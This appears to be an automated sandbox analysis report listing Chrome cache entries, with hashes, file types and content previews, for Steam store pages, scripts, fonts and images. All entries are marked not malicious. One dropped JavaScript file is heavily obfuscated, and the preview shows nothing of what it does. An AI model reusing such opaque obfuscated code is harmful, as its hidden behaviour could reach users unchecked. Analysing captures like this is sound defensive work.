SSDEEP:	1536:M+s43BGZsrolB21EJ4q+GIbdSW7VvCtQXjPM3mz1yxvjWRVIoFMe1V13836GKCnY:T1GZXlB2SUbxVv/zM3mZyxLUZGrSDfj9
MD5:	6168553BEF8C73BA623D6FE16B25E3E9
SHA1:	4A31273B6F37F1F39B855EDD0B764EC1B7B051E0
SHA-256:	D5692B785E18340807D75F1A969595BC8B1C408FB6FD63947775705E6D6BAA66
SHA-512:	0246CEE85A88068CA348694D38E63D46C753B03AFADF8BE76ECA18D21E3DE77B495215ED2384D62658A391104F9E00DF8605EDB77339366DF332C75691928EFB
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Bold.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOSD.`>...l..u.GSUB.d....wT....OS/2vb.........`cmap.d.....X....cvt Hg.....,....fpgm.6!.........gasp.......$....glyf..........Xhead...a...@...6hhea.......x...$hmtx.NL.........loca{.:.........maxp.......,... name.s.U...L...Kpost............prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (52909), with no line terminators
Category:	dropped
Size (bytes):	52917
Entropy (8bit):	5.292876158961998
Encrypted:	false
SSDEEP:	1536:lBb2XHzZBzQZXIJKSaTFsyNv4JePKcS1ITzrMzHazXZhB0XY5s:nb233Q6JKSaTFsyNv4JePKcS1ITzrMzH
MD5:	5FD943794440DEE4D1865B9203FD1577
SHA1:	751295129DF43A924D24330B8E2652399F5A18DE
SHA-256:	84227D83C7A95DD965FB12024B63A42E275DF9F1C755AF8C86F92A52A35BCDF9
SHA-512:	C202B209199680BB969D3F7BAE6AD43583212B49F18941A1F885CA2047EE5E4384222180D66E9B8EA048DE8AAE88415A88D2CAE81B3BC95B2EF8E2F13B58C498
Malicious:	false
Reputation:	low
Preview:	function _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5){const _0x4d1ffc=_0x46ad,_0x595ed1=_0x2f05a7();while(!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/0x7)+-parseInt(_0x4d1ffc(0x285))/0x8+parseInt(_0x4d1ffc(0x29b))/0x9;if(_0x3b298d===_0x2cecd5)break;else _0x595ed1['push'](_0x595ed1['shift']());}catch(_0x139b8a){_0x595ed1['push'](_0x595ed1['shift']());}}}(_0x110d,0x951f0),((()=>{const _0x4b85b2=_0x46ad;var _0x19e3ce=Object[_0x4b85b2(0x199)],_0x353478=Object['defineProperty'],_0x187537=Object[_0x4b85b2(0x223)],_0x1d1f0e=Object[_0x4b85b2(0x1c4)],_0x596794=Object[_0x4b85b2(0x1c0)],_0x389621=Object[_0x

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	11395
Entropy (8bit):	5.263154477395774
Encrypted:	false
SSDEEP:	192:Zh6vqbjETmhTKN8xveEK6lIgpROZ793t37NAmr3LETECO+2Mlx1DWX73Mf+uEm4m:Zhcf33TCO+2gByhC
MD5:	C16C39B56D72EE779A4C29FB1BB60DD3
SHA1:	F0A8114D6E311F91357B3A9041DBCD96857B90EC
SHA-256:	5CD83EEE34169798040BBF6221263F6C5A5CBE5801C285813566EC1153DFCE09
SHA-512:	BB79CF68FA15EA0D4C883C4069AC22E121503F8031F8D17B9E6480D4CE8C701B81835789FA2E2D65841D2124EA88CD35CA982748B79FBB76C28C5A32BA21F8ED
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/browse.css?v=wWw5tW1y7nea&l=english
Preview:	/* CSS Document /.....browse_header .page_title .blockbg {...background-color: #ff9900;...color: #000000;..}.....browse_floating_link {...float: right;...width: 288px;..}.....browse_links a {...color: #b0aeac;..}.....browse_links a.linkbar .rightblock {...color: #626366;..}.....tabbar {...white-space: nowrap;...margin-bottom: 10px;...overflow-x: auto;...overflow-y: hidden;..}..../ the preferred way is to wrap tabbar in tabbar_ctn, which helps handle horizontal scrolling on mobile */...tabbar_ctn {...margin-bottom: 10px;..}...tabbar_ctn .tabbar {...margin-bottom: 0;..}.....tabarea_filler {.. height: 40px;..}...tabarea .tab {.. display: inline-block;.. margin-right: 0px;.. border-top-left-radius: 3px;.. border-top-right-radius: 3px;.. margin-top: 3px;.. padding: 1px;..}...tabarea .tab .tab_browse_option_label,...tabarea .tab .tab_content {.. background: rgba( 0, 0, 0, 0.2 );.. border-top-left-radius: 3px;.. border-top-right-radius: 3px;.. font-size: 13p

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1667), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	19085
Entropy (8bit):	5.511337994885759
Encrypted:	false
SSDEEP:	384:fwtVMAjYb2JalUNlpczHK7eiHiEiN/mDP+pPIOw6GNNZhweP8/F:fmS6FJJNzczHK7bHix/mP+pPIOwlNzi
MD5:	7B19B559E1A22C6AB5E63A9BA871BE63
SHA1:	184C8349D74907506D852F7A3FFA3A7569900083
SHA-256:	FD894C40DB8B0C645E332557AC9CA8C604062389A8A3E2F4246A028A28561960
SHA-512:	ED94CFEE7B853A45ABF67FC4FA8BD8DA518E2D5437C7B595E2397A5C6C3938D9FF635DB7CA71B6326FAA08F6EFD82B657CB48904ABBB4E9FF6817DABEF38943D
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/shared_responsive.css?v=exm1WeGiLGq1
Preview:	...responsive_page_frame {...position: relative;..}....body.movescrolltocontent .responsive_page_frame {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;...overflow: auto;..}....body.overflow_hidden,..body.overflow_hidden .responsive_page_frame {...overflow: hidden;...position: relative;..}....html.responsive {...height: 100%;..}....html.responsive body {...min-height: 100%;...height: auto;...position: relative;..}....html.responsive body.movescrolltocontent {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;..}.....responsive_page_content {..}.....partner_events .responsive_page_content {.. height: 100vh;..}.....responsive_page_menu_ctn {...display: none;...position: fixed;...top: 0;...bottom: 0;...overflow: hidden;.....background: black;.....z-index: 30;...width: 280px;..}.....responsive_page_frame:not(.in_menu_drag) .responsive_page_menu_ctn {...transition: left 0.5s, right 0.5s;..}.....responsive_page_menu_ctn.mainmenu {...left: -280px;..}.....resp

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1430
Entropy (8bit):	6.915444207165524
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVag7yJ3VR7GmXF54+mC8yq8/23CMwMIE+b8Dllc:HZNn2lpWJ3nnwDNmlPbUI
MD5:	AFC159FE5F0F26FA7282505DA9887CC3
SHA1:	C1CD55380C2AF435876989F94E8B0715042C2ADE
SHA-256:	4BE942A34871DD6F8F14B43D27C31B049BE7F6544C05685D4F35ABDD329DE176
SHA-512:	8F7DCB7E99CEED8F86575A05FF7D329EE2FC67CD18C6D53B2833A6AA1EEDE2586D57688F27901D941D2B6351412957468CCE5CA69101D86911390BF04FD82763
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:6E745BD792D411EE8F80E4F5B5148EC9" xmpMM:DocumentID="xmp.did:6E745BD892D411EE8F80E4F5B5148EC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6E745BD592D411EE8F80E4F5B5148EC9" stRef:documentID="xmp.did:6E745BD692D411EE8F80E4F5B5148EC9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{KL.....IDATx.b..U.d``.......@...4.....0.4.9...[`...e.5U...6V..G..d.....I2.].......?y.............^./....&.....

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41284, version 0.0
Category:	downloaded
Size (bytes):	41284
Entropy (8bit):	7.98997053635663
Encrypted:	false
SSDEEP:	768:6bvd2M/P1Exmz4SXIT1d0QDS/LH400ZT9O1HCL8TXAo3+woBHIL:6bvXSw4wIF+/F0ZT9OI2X9oBoL
MD5:	6A3575348AFB953ADDEA554183438636
SHA1:	BB136D68B07E69AB4272D098F522E2C740B668A7
SHA-256:	DEE2F7D9132CBDF82AC50B78835902A6000D29876F467F43BC0A8DF21BFD9DBD
SHA-512:	4401B4814CF15B10E832E64FFF3431A36BCC5A244B1F723556E6CDC5BFBD93BEB5B40365B2EE26BBA1930DC4E4751282F16B483A653C3B5A6C35C98748DA3670
Malicious:	false
Reputation:	low
URL:	https://fonts.cdnfonts.com/s/61286/MotivaSansMedium.woff.woff
Preview:	wOFF.......D......_.........................FFTM...(........m.._GDEF...@.../...6...3GPOS...$......(.S.GSUB...p.........n."OS/2.......P...`i(."cmap...d........\|[t.gasp...8............glyf......nx...0.Q.:head...X...1...6....hhea....... ...$....hmtx.......E....)H..loca...t...$...$'~a:maxp....... ... ....name..~..........&..post......./.... +..x.c`d`..."...m.2p3.`......`.....Y.X..\..&.(.dU.....x.c`d``.........~,.@...................................@......x.c`fe.............................. .;...A......9.N0.`....0.$....H)0...Xf.1x.....I...{;...$..m.k.m.m.m...>=.7..s.\|.].]..n...@Z.RR.Vy.Cz.....l..O.OP...J.A..z}..K.:...K1ze.....-H.P.[ R.@....=..b,...-Eh%...l=.[.(.9Xi..T}...F.....t.."..H.C..G^E.^.X.....w.8.o.\|2c\..M.a.)..W......!H.l..@..:Q.C..2.F..p..p...w=R.T...tc...U..H...dy.Z.C.v.l....Fl.8.O....0....<...m.R...r...1Z...es..........Lz...;\...y..,.w(../..C..3...I.\w.SPs.........S.P.1.4...u.mr.\|."q.&.....k....k.q.....A..o0..i..........#....{..G~.rc7.0.

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	dropped
Size (bytes):	85574
Entropy (8bit):	5.292296378905876
Encrypted:	false
SSDEEP:	1536:qOpYuxcehc6Ac/ErbZz5T/q77xkLuEW6J/ItrMKBPQDsPsdCkCatn0noz4:3Yjge4ImVz
MD5:	F74CD0AE23533449CC8AF7F8F151A9BC
SHA1:	C48A1D9F24875C273B77618EF941BCC7C3E0188E
SHA-256:	911383C10ABC27CACB7BADC757EA3366CCE08643AA808B6281A7312FDAB63F59
SHA-512:	747DA2DF9F7FD391953BDDC96868BD2BF6E0042F602A15A661C72DD6345745B07A11DB2B56B769D4D4449F568A44920D066BD99D6ECA07C4E40DFC4CBB1B5EE4
Malicious:	false
Reputation:	low
Preview:	..function GotFlashPopup()..{...var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');...win.focus();..}....//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, del

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	downloaded
Size (bytes):	89087
Entropy (8bit):	5.292489473516622
Encrypted:	false
SSDEEP:	1536:dpYuxcehc6Ac/Erc3h5N/a8axkNM2EVshJQIxrMKvPQfsPsdCkCatn0noz4:bYjg9MDsooz1
MD5:	9198B9AE5423B2B0A5B443CF8931263E
SHA1:	5DD6C35CBDE91945E2F730D80FE76FD029860C6E
SHA-256:	19C095CC08CAC827AF261E43869A55140EFF99917321489BCCF1A1C9E44BFA06
SHA-512:	85831025A485C982A42A222015FBEB7C912516D50208027D8C3B784C609E1206EAD068285D09CD32FDAAE760DC0D6E124AA80E496B197133A4F803B0AE357353
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/main.js?v=kZi5rlQjsrCl&l=english
Preview:	..//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, delta );....TabUpdateCounts( tab, delta, max );...}....}....function TabCompletionClosure( tab, delta, max )..{...var tab_closure = tab;...var delta_closure = delta;...var max_closu

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (630)
Category:	dropped
Size (bytes):	10737
Entropy (8bit):	5.327237293204141
Encrypted:	false
SSDEEP:	96:DIxuZlZJFupWXpi0pGZBnXQd2q7s0ZiZmdUYe3egbwZqw8+mwoChzSBmqZTZ+Z33:kEXdMAFJdUTTE77tYHD4egFj2MFpKHc
MD5:	D86DCDBFED4C273C4742744941259902
SHA1:	98089A33D0CF2FA4B3E1BA9B7EEB9B8BA0AC82A7
SHA-256:	4B4969FA4EF3594324DA2C6D78CE8766FBBC2FD121FFF395AEDF997DB0A99A06
SHA-512:	F10E98F579D36CE13E24DBE3050C09D87F12F94578B80EA1891CA485DB48C83619D93A6B74D99639468A746CCE872AF8742CA4DBCECE7A36CFBF097B96B7EAAD
Malicious:	false
Reputation:	low
Preview:	/*. @license React. * react.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */.(function(){'use strict';(function(c,x){"object"===typeof exports&&"undefined"!==typeof module?x(exports):"function"===typeof define&&define.amd?define(["exports"],x):(c=c\|\|self,x(c.React={}))})(this,function(c){function x(a){if(null===a\|\|"object"!==typeof a)return null;a=V&&a[V]\|\|a["@@iterator"];return"function"===typeof a?a:null}function w(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Y(){}function K(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Z(a,b,.e){var m,d={},c=null,h=null;if(null!=b)for(m in void 0!==b.ref&&(h=b.ref),void 0!==b.key&&(c=""+b.key),b)aa.call(b,m)&&!ba.hasOwnProperty(m)&&(d[m]=b[m]);var l=arguments.length-2;if(1===l)d.children=e;else if(1<l){for(var f=Array(l),k=0;k<l;k++)f[k

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1057 x 500, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	144661
Entropy (8bit):	7.980843362263581
Encrypted:	false
SSDEEP:	3072:yK02orTG+Saw+pemTN2jo+xInoq3A8sbqYT1h07drn7y1:yK0E+QUzsk+xY3AjhaBn7y1
MD5:	5F16125351B708EE3D1141EB5553CD3D
SHA1:	EF8994F541DEC79086CB998C180D260E1C7DD704
SHA-256:	7BDC6F79DB78360EC0E758B748D745C8F11EE6C93C1F0C5E7D128E1DDCAF35EF
SHA-512:	415B0C586E6B5F5E27FF7D134D01B26A92BC8F9F7F22D0EA8EF77E72A4042B5A66538068E85A00072B87B3C0A8C1DA30205FFAC3808B05DE04582A4E1D017961
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images//v6/temp/cluster_bg_2.png
Preview:	.PNG........IHDR...!...........7.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:53F0C1D58A4311E6A9CC89E9E7EC36A5" xmpMM:DocumentID="xmp.did:53F0C1D68A4311E6A9CC89E9E7EC36A5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:53F0C1D38A4311E6A9CC89E9E7EC36A5" stRef:documentID="xmp.did:53F0C1D48A4311E6A9CC89E9E7EC36A5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4.....1.IDATx..m.,..$.0....-A{.R.fC2i)Z.L;.i../.....7.q.w....UE....... A.....?....v.m..v....._.n..~..w.sf.B._.G..c..

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (659), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	824
Entropy (8bit):	5.4873953810406135
Encrypted:	false
SSDEEP:	24:+Tuj0z//T19TOf4rBQibMGPo5cr6cOSGVXpBRCT:+Tuj0//T1JRlbVo52Om
MD5:	B03962A3336EE12137F1A50057F3CBF8
SHA1:	2A7DD13865E71A815773E8E226E4283CDE95FF97
SHA-256:	0424392B16410979DEFF96C0350AE3A03C60D477BD1E758021DCCD3C68F24880
SHA-512:	3A52E02EB598F05A0DEC0748D3FB5FA99D19B62EA9281E886191966A4A9AB6F03650A690102E1F55C80D13CE56B1EEBB2C68EC4E532C24BC7A684349E1D5120B
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/login.js?contenthash=a191782b1270c963e3b1
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6966],{67692:e=>{e.exports={LoginContainer:"_2kLRmRsLwjGDlm-ZfUpChG"}},8685:(e,t,r)=>{"use strict";r.r(t),r.d(t,{default:()=>c});var n=r(67692),a=r(90626),o=r(97436),l=r(78327),s=r(28240),i=r(23809);function c(e){const{redirectUrl:t=l.TS.STORE_BASE_URL}=e,r=(0,i.rW)(),[c,u]=(0,a.useState)(!1),m=e.guest;return a.createElement("div",{className:n.LoginContainer},c?a.createElement(o.Fn,null):a.createElement(o.YN,{autoFocus:!0,transport:r,platform:2,onComplete:e=>{e==s.wI.k_PrimaryDomainFail?u(!0):window.location.assign(t)},redirectUrl:t},m&&a.createElement(o.Mk,{redirectURL:e.redirectUrl})))}}}]);

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3207
Entropy (8bit):	7.929417630532427
Encrypted:	false
SSDEEP:	48:4/6c6pVCtBEk0RSsouHmNbs8e7mf6TRdfNHMonp1J4kezFflFlig7xKZ1cxB:4SLpkBEYsouGuriyT7FsuPIl6gwZ1m
MD5:	302025BB525953B50D68EECD59FD185C
SHA1:	2BF0A295B5874E2197B6157C64A09791A27143F1
SHA-256:	EBCCCFC2AFA2440CD2C066A6FE91988882C083F1785E434C31C42F4C3FCE0DBF
SHA-512:	B8C9FEF04B970C9F3D26BBCD006AE0574B3980D6E733F73C3CCD6B7AB368835FFB3EC024937CB3AE3D02474E780FB93A992FC5B4E651C32B34AA9E2D87B14A72
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx...T.W...j.d.lP.T....P.M.".F......Qp.I..I.9.(...KP...L0....%q...h"Qc\...#H#..5...H...'.w.;.....{....[U.A$....07..'......%x(.W......%....)=.......FP~pT.m.......E.oA.6...j.z.!h..Kx...f.M4.Z>.>..S.$.%...I..hNp....... .....9..f&..p.C..G....\c.....;.:..dWJ4k8..G.je..zO..el.Bg&....>8...U.V.O.\|..j.....J<?(md.b..\.!h.i.R....s.IY..j.,...Z.v1t:<.hM.,<..1.PQR...LKs3......9..&....i..xXX....u....\[..`[M...5..rA@WG.uq...e..\...W........p.V......h..4e}..#.M..D.0.WD.x.o..0...G.v...t.i9.......cL.%..oH.G=..p...pq..=....>9\|..y....!..8au...d.mmc......S..".4d........P.X{.^.D"E...]...K..M..e.L..rB..o...7....vB.&..b.+!0...i..o.@xt..k.......C...>r..K...A.7f.._.t=.._....0...!..)#...M..ZJYk..w',.......(...n.Nmm... 1.~../......#.Q.....z....^.;.."...{......L.1\|.A.!#.=..l..o..H{........<..-v/....]..".I....M...4..4..:...B......>.....`k......w..S.....s..M..VZ.~.>...2...9....F8;...o@*

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (701), with no line terminators
Category:	downloaded
Size (bytes):	701
Entropy (8bit):	4.89318727646278
Encrypted:	false
SSDEEP:	12:s+K3NV0H3BkLcsDh5Ed+K3/3BkoDh5Ed+K393BkbEDh5Ed+K3BVo3Bk2H:sU39sYdL3hYdp3dYdtVo3P
MD5:	36073B0B50C0FE6DC3EF6CC0FF6A8395
SHA1:	F4EBFCBFC8ACED8374E2DE0EFE1E3C553A2144A7
SHA-256:	B3674D72FEFC76E531652786A0FDD62B13929CF80A80862E84E86656C03A0DB2
SHA-512:	287D269C0290687A8F15E5CF09FB0228089E2F8F02360DCA2435BC73D601E27FE77707F6A35D47FC80947E363C9F99728E3438FCC899DEB51706C7876E6909E3
Malicious:	false
Reputation:	low
URL:	"https://fonts.cdnfonts.com/css/motiva-sans?styles=101373,102902,102901,103845"
